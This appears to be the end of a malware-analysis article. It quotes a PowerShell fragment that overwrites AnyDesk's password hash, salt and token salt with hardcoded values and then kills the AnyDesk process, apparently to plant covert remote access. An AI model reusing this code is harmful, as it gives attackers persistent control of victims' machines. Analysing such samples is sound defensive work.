        $pd = "ad.anynet.pwd_hash=967adedce518105664c46e21fd4edb02270506a307ea7242fa78c1cf80baec9d"
        $ps = "ad.anynet.pwd_salt=351535afd2d98b9a3a0e14905a60a345"
        $ts = "ad.anynet.token_salt=e43673a2a77ed68fa6e8074167350f8f"
        while (($line = $stream_reader.ReadLine()) -ne $null) {
            if ($line -like "ad.anynet.pwd_hash=*") {
                $line = $pd
            }
            elseif ($line -like "ad.anynet.pwd_salt=*") {
                $line = $ps
            }
            elseif ($line -like "ad.anynet.token_salt=*") {
                $line = $ts
            }
            else{
                $stream_writer.WriteLine($line)
            }
        }
        $stream_writer.WriteLine($pd)
        $stream_writer.WriteLine($ps)
        $stream_writer.WriteLine($ts)
        $stream_reader.Close()
        $stream_writer.Close()
        remove-item -fo $file_path
        Rename-Item -Path $output_file_path -NewName $file_path
        taskkill /IM anydesk.exe /F
        

Further analysis

There is of course a bunch of ongoing research that we can't publish right now, so this article is just the top level view on some stuff we've seen.
But feel free to reach out (I'm not hard to find) if you have some interesting information, malware sample, or if you feel like we missed something.